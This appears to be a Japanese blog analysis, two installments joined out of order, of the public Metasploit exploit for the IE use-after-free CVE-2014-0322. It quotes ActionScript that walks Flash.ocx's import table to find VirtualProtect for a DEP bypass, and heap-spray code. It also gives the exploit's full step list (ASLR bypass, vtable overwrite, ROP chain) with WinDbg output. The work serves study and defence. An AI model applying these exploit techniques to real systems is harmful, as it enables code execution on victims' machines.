getK32Index() を実行する前の下記 2 行は、PE イメージの構造に基づいて、MZ ヘッダーからインポート テーブルにたどり着くためのオフセットを取得しています。

/* Get imports table */
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];

PE イメージの構造については、このへんを参考にしてください。

Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format
http://msdn.microsoft.com/en-us/magazine/cc301805.aspx

PE イメージは、ntdll!_IMAGE_DOS_HEADER 構造体で始まっており、MZ シグネチャーは e_magic です。1 行目のインデックスに含まれる 0x3C は、ntdll!_IMAGE_DOS_HEADER::e_lfanew へのオフセットを示しており、peindex には e_lfanew の値が入ります。

0:028> dt ntdll!_IMAGE_DOS_HEADER
   +0x000 e_magic          : Uint2B
   +0x002 e_cblp           : Uint2B
   +0x004 e_cp             : Uint2B
   +0x006 e_crlc           : Uint2B
   +0x008 e_cparhdr        : Uint2B
   +0x00a e_minalloc       : Uint2B
   +0x00c e_maxalloc       : Uint2B
   +0x00e e_ss             : Uint2B
   +0x010 e_sp             : Uint2B
   +0x012 e_csum           : Uint2B
   +0x014 e_ip             : Uint2B
   +0x016 e_cs             : Uint2B
   +0x018 e_lfarlc         : Uint2B
   +0x01a e_ovno           : Uint2B
   +0x01c e_res            : [4] Uint2B
   +0x024 e_oemid          : Uint2B
   +0x026 e_oeminfo        : Uint2B
   +0x028 e_res2           : [10] Uint2B
   +0x03c e_lfanew         : Int4B

e_lfanew は、PE ヘッダーへのオフセットを保持しています。したがって、2 行目のインデックスは、PE ヘッダーを起点として 0x18+0x60+0x8 をオフセットとするアドレスを参照しています。

PE ヘッダーは ntdll!_IMAGE_NT_HEADERS という構造体で表されます。0x18 は _IMAGE_OPTIONAL_HEADER までのオフセット、0x60 は _IMAGE_DATA_DIRECTORY の配列までのオフセットです。

0:028> lm m flash
start    end        module name
700c0000 70f1f000   Flash      (export symbols)       Flash.ocx
0:028> dt ntdll!_IMAGE_DOS_HEADER 700c0000 e_lfanew
   +0x03c e_lfanew : 0n352
0:028> dt ntdll!_IMAGE_NT_HEADERS
   +0x000 Signature        : Uint4B
   +0x004 FileHeader       : _IMAGE_FILE_HEADER
  +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER
0:028> dt ntdll!_IMAGE_NT_HEADERS 700c0000+0n352 OptionalHeader.
   +0x018 OptionalHeader  :
      +0x000 Magic           : 0x10b
      +0x002 MajorLinkerVersion : 0xc ”
      +0x003 MinorLinkerVersion : 0 ”
      +0x004 SizeOfCode      : 0x98d400
      +0x008 SizeOfInitializedData : 0x4cdc00
      +0x00c SizeOfUninitializedData : 0
      +0x010 AddressOfEntryPoint : 0x95ce97
      +0x014 BaseOfCode      : 0x1000
      +0x018 BaseOfData      : 0x990000
      +0x01c ImageBase       : 0x700c0000
      +0x020 SectionAlignment : 0x1000
      +0x024 FileAlignment   : 0x200
      +0x028 MajorOperatingSystemVersion : 6
      +0x02a MinorOperatingSystemVersion : 0
      +0x02c MajorImageVersion : 0
      +0x02e MinorImageVersion : 0
      +0x030 MajorSubsystemVersion : 6
      +0x032 MinorSubsystemVersion : 0
      +0x034 Win32VersionValue : 0
      +0x038 SizeOfImage     : 0xe5f000
      +0x03c SizeOfHeaders   : 0x400
      +0x040 CheckSum        : 0xd5074b
      +0x044 Subsystem       : 2
      +0x046 DllCharacteristics : 0x140
      +0x048 SizeOfStackReserve : 0x100000
      +0x04c SizeOfStackCommit : 0x1000
      +0x050 SizeOfHeapReserve : 0x100000
      +0x054 SizeOfHeapCommit : 0x1000
      +0x058 LoaderFlags     : 0
      +0x05c NumberOfRvaAndSizes : 0x10
      +0x060 DataDirectory   : [16] _IMAGE_DATA_DIRECTORY

DataDirectory って何じゃい、ということで MSDN を参照すると、ばっちり定義が書いてあります。ntdll!_IMAGE_DATA_DIRECTORY それぞれのサイズは 8 バイトなので、インデックスの最後の +0x8 とは、DataDirectory[1]、すなわち MSDN によると "Import table address and size" のようです。おお、インポート テーブルが出てきましたね。

IMAGE_DATA_DIRECTORY structure (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/ms680305(v=vs.85).aspx

デバッガーで DataDirectory を全部出力するとこんな感じです。

0:028> dt -a16 ntdll!_IMAGE_DATA_DIRECTORY 700c0000+0n352+0x18+0x60
[0] @ 700c01d8
———————————————
   +0x000 VirtualAddress   : 0xb73d60
   +0x004 Size             : 0x11d
[1] @ 700c01e0
———————————————
   +0x000 VirtualAddress   : 0xb73e80
   +0x004 Size             : 0x1f4
[2] @ 700c01e8
———————————————
   +0x000 VirtualAddress   : 0xd62000
   +0x004 Size             : 0xa6c48
[3] @ 700c01f0
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[4] @ 700c01f8
———————————————
   +0x000 VirtualAddress   : 0xd47200
   +0x004 Size             : 0x23e0
[5] @ 700c0200
———————————————
   +0x000 VirtualAddress   : 0xe09000
   +0x004 Size             : 0x555d0
[6] @ 700c0208
———————————————
   +0x000 VirtualAddress   : 0x991000
   +0x004 Size             : 0x1c
[7] @ 700c0210
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[8] @ 700c0218
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[9] @ 700c0220
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[10] @ 700c0228
———————————————
   +0x000 VirtualAddress   : 0xb624b0
   +0x004 Size             : 0x40
[11] @ 700c0230
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[12] @ 700c0238
———————————————
   +0x000 VirtualAddress   : 0x990000
   +0x004 Size             : 0xaf0
[13] @ 700c0240
———————————————
   +0x000 VirtualAddress   : 0xb73c44
   +0x004 Size             : 0x60
[14] @ 700c0248
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[15] @ 700c0250
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0

!dh コマンドを使うと一発でここまでたどり着けます。dumpbin みたいなもんです。

0:028> !dh flash

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       6 number of sections
(snip)
  B73D60 [     11D] address [size] of Export Directory
  B73E80 [     1F4] address [size] of Import Directory
  D62000 [   A6C48] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
  D47200 [    23E0] address [size] of Security Directory
  E09000 [   555D0] address [size] of Base Relocation Directory
  991000 [      1C] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
  B624B0 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
  990000 [     AF0] address [size] of Import Address Table Directory
  B73C44 [      60] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory
(snip)

ということで、getK32Index を実行する前の importsindex には、インポートテーブルへの RVA (=Relative Virtual Address) である B73E80 が入ります。

インポート テーブルの構造は、先述の MSDN のページにおける "The Section Table" の Fig.6 に記載があります。IMAGE_IMPORT_DESCRIPTOR の配列になっているようです。

IMAGE_SECTION_HEADER fields
http://msdn.microsoft.com/en-us/magazine/bb985997.aspx

なぜかユーザーモード デバッガーでは IMAGE_IMPORT_DESCRIPTOR の構造が見れません。カーネル デバッガーからは見えるようですが、そんなことをしなくても、SDK に含まれる winnt.h に定義があるので、それを利用します。

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    } DUMMYUNIONNAME;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

getK32Index() はこんな感じです。

/*
*  Find kernel32.dll index
*  index: index of vectors table
*  baseflashaddr_off: flash dll address offset
*  importsindex: offset to the imports table
*/
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint {
  var nameindex:uint = 0;
  var dllname:int = 0;
  var nameaddr:int = 0;
        
  do {
    nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
                  
    /* kernel32.dll not found */
    if (nameaddr == 0x0) break;

    dllname = readInt(this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4],
        this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1],
        (nameaddr % 4));

    /* Check kernel32.dll */
    if (dllname == 0x6E72656B || dllname == 0x4E52454B) {
      nameaddr = nameaddr + 4;
      dllname = readInt(this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4],
          this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1],
          (nameaddr % 4));

      if (dllname == 0x32336C65 || dllname == 0x32334C45) {
        nameaddr = nameaddr + 4;
        dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4],
            this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1],
            (nameaddr % 4));

        if (dllname == 0x6C6C642E || dllname == 0x4C4C442E) {
          return nameindex;
        }
      }
    }

    /* Next dll */
    nameindex = nameindex + 0x14;
  }
  while (1);

  return 0;
}

初めの this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4]; ですが、nameindex は 0 から始まって、0x14 ずつ増加していきます。_IMAGE_IMPORT_DESCRIPTOR の定義によると、この構造体は DWORD 5 個分なので、0x14 は sizeof(_IMAGE_IMPORT_DESCRIPTOR) と一致します。したがって、各でスクリプターのオフセット 0xC の位置、Name の値を見ていることになります。

インポート テーブルについては、先述の MSDN の Part 2 で詳しく触れられています。2 つ目のリンク先にある "IMAGE_IMPORT_DESCRIPTOR Structure" の Name の部分を見ると、この値は RVA であり、イメージベースからのオフセットのようです。

Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format, Part 2
http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
http://msdn.microsoft.com/en-us/magazine/bb985996.aspx

実際にデバッガーから、インポート テーブルの各でスクリプターの Name を見てみると、いい感じに DLL 名が拾えます。

0:028> !! -ci "!dh flash" find "Import"
  B73E80 [     1F4] address [size] of Import Directory
       0 [       0] address [size] of Bound Import Directory
  990000 [     AF0] address [size] of Import Address Table Directory
  B73C44 [      60] address [size] of Delay Import Directory
.shell: Process exited
0:028> da /c 100 flash+poi(flash+B73E80+c+14*0)
70c34b78  "dwmapi.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*1)
70c34c1c  "api-ms-win-core-winrt-string-l1-1-0.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*2)
70c34c44  "api-ms-win-core-winrt-l1-1-0.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*3)
70c34cea  "VERSION.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*4)
70c34eb6  "WINMM.dll"

nameaddr を取った後に、readInt という関数を使って dllName を取得しています。メモリへアクセスする手段が uint の配列経由なので、nameaddr が DWORD にアラインされたアドレスを指しているのであれば、配列の要素がそのまま取りたい値になります。しかし、nameaddr がアラインされていない場合、そのアドレスから DWORD を取得するためには隣り合った二つの配列の要素を使って DWORD を組み立てないといけません。それが readInt です。

上記のデバッガーの出力でいえば、WINMM.dll がそれに当たります。文字列は 70c34eb6 から始まりますが、配列経由で持ってこれるのは、70c34eb4 にある 49570000 と、70c34eb8 にある 2e4d4d4e です。"57 49" と "4e 4d" をそれぞれから持ってきて繋げ、0x4d4e4957 という DWORD 値が readInt の戻り値になります。

0:028> db 70c34eb0 l20
70c34eb0  74 69 6f 6e 00 00 57 49-4e 4d 4d 2e 64 6c 6c 00  tion..WINMM.dll.
70c34ec0  d3 00 49 6e 74 65 72 6e-65 74 53 65 74 43 6f 6f  ..InternetSetCoo
0:028> dd 70c34eb0 l8
70c34eb0  6e6f6974 49570000 2e4d4d4e 006c6c64
70c34ec0  6e4900d3 6e726574 65537465 6f6f4374

比較式の右辺にある謎の定数は、DLL 名の一部を示しているはずです。これを ascii 文字に変換すると、"kernel32.dll" と "KERNEL32.dll" になります。大文字と小文字の両方に対応させているようです。丁寧ですね。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x6E72656B))
kern 
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x4E52454B))
KERN
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x32336C65))
el32
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x32334C45))
EL32
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x6C6C642E))
.dll
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x4C4C442E))
.DLL

getK32Index は、インポート テーブル内の kernel32.dll についてのデスクリプターの位置を返します。この値を使って次に実行されるのは GetVirtualProtectStubAddr です。

http://msdn.microsoft.com/en-us/magazine/bb985996.aspx の IMAGE_IMPORT_DESCRIPTOR をもう一度見ると、OriginalFirstThunk (offset: +0x0) に関数名の配列 (INT: Import Name Table)、FirstThunk (offset: +0x10) に関数アドレスの配列 (IAT: Import Address Table) が保存されているようです。

GetVirtualProtectStubAddr() を実行する前の以下の 2 行は、それぞれ Kernel32.dll の IAT と INT を取ってきています。

fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];

GetVirtualProtectStubAddr は見た目がごちゃごちゃしていて読みにくそうな印象を受けますが、やっていることは getK32Index とほぼ同じです。第三引数である INT のエントリをチェックして、ある文字列が見つかったら、それに対応する IAT のエントリを返すだけです。

/*
*  Get VirtualProtectStub() addr
*/
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint {
  var fct_addr:uint = 0;
  var fct_name:uint = 0;
  var fct_name_struct:uint = 0;

  do {
    fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4],
        this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1],
        (fct_addr_offset % 4));
    fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4],
        this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1],
        (fct_name_offset % 4));

    /* VirtualProtectStub() not found */
    if (fct_addr == 0 || fct_name_struct == 0)
      break;

    if ((fct_name_struct & 0x80000000) != 0x80000000) {
      fct_name_struct = fct_name_struct + 2;
      fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4],
          this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1],
          (fct_name_struct % 4));
     
      /* Check VirtualProtect */
      if (fct_name == 0x74726956 || fct_name == 0x54524956) {
        fct_name_struct = fct_name_struct + 4;
        fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4],
            this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1],
            (fct_name_struct % 4));

        if (fct_name == 0x504c4155 || fct_name == 0x506c6175) {
          fct_name_struct = fct_name_struct + 4;
          fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4],
              this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1],
              (fct_name_struct % 4));

          if (fct_name == 0x45544f52 || fct_name == 0x65746f72) {
            return fct_addr;
          }
        }
      }
    }

    /* Next Function() */
    fct_addr_offset = fct_addr_offset + 0x4;
    fct_name_offset = fct_name_offset + 0x4;
  } while (1);

  return 0;
}

条件式の右辺となっている定数を文字に変換すると、INT のうちエントリが VirtualProte で始まるものを探していることが分かります。これに合致するのは VirtualProtect API だけです。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x74726956))
Virt
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x54524956))
VIRT
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x504c4155))
UALP
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x506c6175))
ualP
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x45544f52))
ROTE
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x65746f72))
rote

文字列を比較する前に、fct_name_struct の最上位ビットが 0 であることを確認していますが、これが必須かどうかは未確認です。INT に 0x80000000 を超える値が含まれることがあるのかもしれません。その後、fct_name_struct を +2 しています。INT のエントリは名前への RVA だけを保持しているのではなく、エントリの先頭 2 バイトは、序数を保持しています。エクスポート テーブルの序数は GetProcAddress に渡すこともできますが、インポート テーブルの序数は・・・何に使うんですかね。

image

デバッガーでも確かめます。といっても、getVirtualProtectStubAddr と同じことをするのは大変なので、逆に IAT から VirtualProtect のアドレスを見つけ、対応する INT のエントリーを確認します。序数も 059f で、上の Dependency Walker の表示と一致しています。

0:028> dd flash+B73E80+f0
70c33f70  00b742ac 00000000 00000000 00b75b32
70c33f80  00990238 00b746b0 00000000 00000000

0:028> da flash+00b75b32
70c35b32  "KERNEL32.dll"

0:028> !! -ci "dds flash+00990238  l100" find "Virtual"
70a50310  77af59b6 kernel32!VirtualQueryStub
70a50424  77af592e kernel32!VirtualAllocStub
70a50428  77af5961 kernel32!VirtualFreeStub
70a5043c  77af5994 kernel32!VirtualProtectStub
.shell: Process exited

0:028> ? 70a5043c-(flash+00990238)
Evaluate expression: 516 = 00000204
0:028> dd flash+00b742ac+204
70c344b0  00b77522 00b77534 00b77546 00b7755a
70c344c0  00b7756e 00b77582 00b77598 00b775b4

0:028> db flash+00b77522
70c37522  9f 05 56 69 72 74 75 61-6c 50 72 6f 74 65 63 74  ..VirtualProtect
70c37532  00 00 99 01 46 6f 72 6d-61 74 4d 65 73 73 61 67  ….FormatMessag
70c37542  65 41 00 00 92 01 46 6c-75 73 68 46 69 6c 65 42  eA….FlushFileB

なぜこんなに頑張って、VirtualProtect のアドレスが必要かというと、DEP を回避するためです。VirtualProtect は以下の MSDN にもあるように、ページの属性を変更する公開された API です。VirtualProtect を ROP chain に組み込むことで、任意のページに対して、PAGE_EXECUTE_READWRITE などのように実行可能な属性を与えることができます。スプレーした Heap の一部に対して VirtualProtect 呼ぶことで、DEP を無効化するのが目的です。

VirtualProtect function (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx

Deep Dive into Exploit of Use-After-Free Vulnerability – 2

前回は CVE-2014-0322 の脆弱性そのものについての考察でした。今回から、exploit のコードを見ていきます。何度も同じ URL を掲載しますがコードは、Ruby スクリプトと ActionScript です。

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

https://github.com/rapid7/metasploit-framework/blob/abd76c50000e75bcac0616b96cd8583e1df3927f/external/source/exploits/CVE-2014-0322/AsXploit.as

大まかな流れは以下の通り。最後の 14. はまさに ROP chain (ROP=Return Oriented Programming) と言え、とても美しいものです。

  1. HTML を開く
  2. SWF がロードされ、ActionScript のコードが実行される
  3. ActionScript から Heap Spraying を行い、4K 単位でアラインされる配列の配列を確保
  4. ActionScript から JavaScript の関数を実行し、脆弱性 CVE-2014-0322 を引き起こす
  5. 脆弱性によって、スプレーしていた配列 1 つの長さが伸びる (000003f0 → 010003f0)
  6. 5. を利用して、その次のページにある配列の長さを 0x3fffffff に変更 
    長さを変更したページより後の全ての仮想アドレスを ActionScript の配列経由で読み書き可能になる
  7. メモリ上を検索して、flash.ocx のベースアドレスを見つける
    →bypassing ASLR
  8. flash.ocx のインポート テーブルから VirtualProtectStub API のアドレスを取得
    → bypassing DEP
  9. flash.ocx のコード領域で、0xC394 という WORD 値を見つける
  10. ここまでに取得した数値を使って、偽のスタック領域を作成
  11. メモリ上を検索して ActionScript の Sound オブジェクトを見つける
  12. Sound オブジェクトの vtable を書き換える
  13. ActionScript から Sound.toString() を実行
  14. call – ret – ret と 3  回ホップした後、ヒープ上に流し込んでおいたペイロードが実行される

なぜかスライドにまとめてあります。(諸般の事情により仕事で使う機会がなくなった・・)決してこのブログのために作ったんじゃないんだからねっ。
http://1drv.ms/XYMqzT

1. Heap Spray からメモリを乗っ取るまで

はじめに、HTML に埋め込まれた EMBED タグによって、swf ファイルがロードされて実行されます。このとき実行されるのは AsXploit クラスのコンストラクターで、そこから呼ばれる init_heap() が Heap Spray を行います。前回見たように、脆弱性によって「書き込み可能な任意の場所の Byte 値をインクリメント」することが可能です。これを利用し、配列の長さを保存している DWORD 値の最上位バイトをインクリメントさせて、本来アクセスできないメモリ領域にも配列経由でアクセスできるようにするのが目的です。Heap Spray の wiki を見ると、NOP slide などのように実行可能なコードをスプレーする手法が書かれていますが、DEP による防御があるので、現在は (少なくとも exploit の最初の段階では) 使えません。

/* Spray the integer array */
this.s = new Vector.
(0x18180);
while (len < 0x18180) {
  this.s[len] = new Vector.<uint>(0x1000 / 4 – 16);
  for (i=0; i < this.s[len].length; i++) {
    this.s[len][i] = 0x1a1a1a1a;
  }
  ++len;
}

上記コードでのポイントは配列の長さ0x1000 / 4 – 16 (=3f0) です。これによって、各 Vector.<uint> がページの先頭にアラインされるようになります。/4 しているのは uint が 4 バイトからです。実際のデータである0x1a1a1a1a の前に、配列の長さである 000003f0 と、下記の例でいえば 07c53000 という DWORD 値が存在するので -2、-16 しているので実データの後にある 56 バイト (^14 * sizeof(uint)) が余ります。これが使われているかどうかは不明。 0x18180 と0x1a1a1a1a は何でもいいはずです。これにより、先頭が 3f0 で始まるページが 0x18180 個できました。

0:028> dd 09151000-40
09150fc0  1a1a1a1a 1a1a1a1a 00000000 00000000
09150fd0  00000000 00000000 00000000 00000000
09150fe0  00000000 00000000 00000000 00000000
09150ff0  00000000 00000000 00000000 00000000
09151000  000003f0 07c53000 1a1a1a1a 1a1a1a1a
09151010  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09151020  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09151030  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
0:028> dd 09152000-40
09151fc0  1a1a1a1a 1a1a1a1a 09151fc0 00000000
09151fd0  09151fc8 00000000 09151fd0 00000000
09151fe0  09151fd8 00000000 09151fe0 00000000
09151ff0  09151fe8 00000000 09151ff0 00000000
09152000  000003f0 07c53000 1a1a1a1a 1a1a1a1a
09152010  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09152020  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09152030  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
0:028> dd 09153000-40
09152fc0  1a1a1a1a 1a1a1a1a 00000000 00000000
09152fd0  00000000 00000000 00000000 00000000
09152fe0  00000000 00000000 00000000 00000000
09152ff0  00000000 00000000 00000000 00000000
09153000  000003f0 07c53000 1a1a1a1a 1a1a1a1a
09153010  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09153020  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09153030  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a

ちなみに、3f0 の次の 07c53000 という値、これは何らかのオブジェクトの vtable のように見えます。今回は使っていませんが、ベースアドレスの検索のときには、配列の長さの次の DWORD 値を使ったほうが効率が良くなる気がします。

0:028> dd 07c53000 l8
07c53000  70be22d0 01010000 00000000 07c46080
07c53010  0000be12 00000000 000d471e 00000000
0:028> dd 70be22d0
70be22d0  70a06d00 70a0b5a0 70a06d30 70a0abc0
70be22e0  2e63672e 6c6c6f43 00746365 2e63672e
70be22f0  6c6c6f43 69746365 6f576e6f 00006b72
70be2300  2e63672e 65657753 00000070 6d656d5b
70be2310  7773205d 2d706565 72617473 00000a74
70be2320  6f666542 73206572 70656577 6d656d20
70be2330  2079726f 6f666e69 00000a3a 65746641
70be2340  77732072 20706565 6f6d656d 69207972
0:028> u 70a06d00
Flash!IAEModule_AEModule_PutKernel+0x384620:
70a06d00 55              push    ebp
70a06d01 8bec            mov     ebp,esp
70a06d03 56              push    esi
70a06d04 8bf1            mov     esi,ecx
70a06d06 e8d5faffff      call    Flash!IAEModule_AEModule_PutKernel+0x384100 (70a067e0)
70a06d0b f6450801        test    byte ptr [ebp+8],1
70a06d0f 7409            je      Flash!IAEModule_AEModule_PutKernel+0x38463a (70a06d1a)
70a06d11 56              push    esi
0:028> u 70a0b5a0
Flash!IAEModule_AEModule_PutKernel+0x388ec0:
70a0b5a0 55              push    ebp
70a0b5a1 8bec            mov     ebp,esp
70a0b5a3 83ec18          sub     esp,18h
70a0b5a6 a13080d070      mov     eax,dword ptr [Flash!IAEModule_IAEKernel_UnloadModule+0x2ce390 (70d
08030)]
70a0b5ab 33c5            xor     eax,ebp
70a0b5ad 8945fc          mov     dword ptr [ebp-4],eax
70a0b5b0 837d0c00        cmp     dword ptr [ebp+0Ch],0
70a0b5b4 56              push    esi
0:028> !address 70be22d0

Mapping file section regions…
Mapping module regions…
Mapping PEB regions…
Mapping TEB and stack regions…
Mapping heap regions…
Mapping page heap regions…
Mapping other regions…
Mapping stack trace database regions…
Mapping activation context regions…

Usage:                  Image
Base Address:           70a50000
End Address:            70c38000
Region Size:            001e8000
State:                  00001000        MEM_COMMIT
Protect:                00000002        PAGE_READONLY
Type:                   01000000        MEM_IMAGE
Allocation Base:        700c0000
Allocation Protect:     00000080        PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\System32\Macromed\Flash\Flash.ocx
Module Name:            Flash
Loaded Image Name:      Flash.ocx
Mapped Image Name:
More info:              lmv m Flash
More info:              !lmi Flash
More info:              ln 0x70be22d0
More info:              !dh 0x700c0000

あとは、脆弱性を引き起こして 3f0 を 010003f0 にするだけなのですが、どのアドレスの値をインクリメントすればいいのでしょうか。これは面白いことに決め打ちされていて、1a000000 です。JavaScript のコードに 0x19fffff3 という値がハードコードされており、+10 されたところのバイトがインクリメントされるので、1a000003、すなわち 1a000000 にある 000003f0 が 010003f0 になります。

image
Heap Spray 後の iexplore.exe の VMMap

スライドにも含めていますが、HeapSpray 後の iexplore.exe の VMMap を取ってみました。黄色の部分が Private Data で、ほとんどが init_heap() でスプレーされた部分です。紫の部分がロードされたイメージ データです。上が 0x00000000 で下が 0x7fffffff なので、スプレーされた部分は、メモリの空き領域の先頭から順番に埋められているように見え、イメージデータは 0x7fffffff に比較的近いところにまとまっているように見えます。この配置が Windows のどういう動作に起因するものなのかはまだ調べきれていません。今回の exploit は、配列の長さを変更してメモリ領域への制御を乗っ取るので、制御可能な領域を下に伸ばすことはできても、上に伸ばすことはできません。もし、イメージデータがメモリ全体に均等に分散していたり、Private Data よりも上に固まっていたら、今回の exploit は不可能です。素人目には、ASLR でイメージデータがもっと均等に分散された方がセキュアな気がするのですが、そのへんについては後で軽く調べておきたいところです。

0:028> s -q 0 l1000000 07c53000`000003f0
07c55000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07c99000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07c9b000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07c9c000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d14000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d64000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d65000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d66000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d68000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d69000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d6a000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
0:028> s -q 10000000 l1000 07c53000`000003f0
10000000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10001000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10002000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10003000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10004000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10005000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10006000  07c53000`000003f0 1a1a1a1a`1a1a1a1a
10007000  07c53000`000003f0 1a1a1a1a`1a1a1a1a

3f0 と vtable のアドレスをもとにメモリを検索すると、最初のアドレスは07c55000 でした。これはメモリの状態に依存しますが、概ね 07000000 前後から始まります。ただし最初の方では、別の用途で使われている Private Data もあるので、3f0 で始まるページは飛び飛びになっています。それが、10000000 を超えたあたりでは、すべてのページがスプレーされたものになっています。脆弱性で書き換える部分は 10000000 でも問題なさそうですが、十分に余裕を見て 1a000000 を選んだ、ということでしょうか。何せ 3f0 で始まるページは配列の長さの 0x18180 個あるので、概算で 07000000+18180000=1f180000 あたりまでのアドレスならどれでも選べます。後半の方が高確率で 3f0 開始ページになるので、1a000000 は確かに妥当に思えます。

さて、init_heap() はもう一つ Sound オブジェクトの二次元配列を作ります。これは exploit の最終段階で使います。ここでのポイントは、0x1234 という長さにあります。Sound オブジェクトの vtable を書き換えるため、Sound オブジェクトのある場所を探索するのですが、0x00001234 という配列の長さを利用して Sound オブジェクトの配列を特定し、vtable を見つけます。配列の長さとしては何を使ってもいいのですが、特徴的な値として 0x1234 を選んだのでしょう。

/* Spray sound object ptr */
this.sound = new Sound();
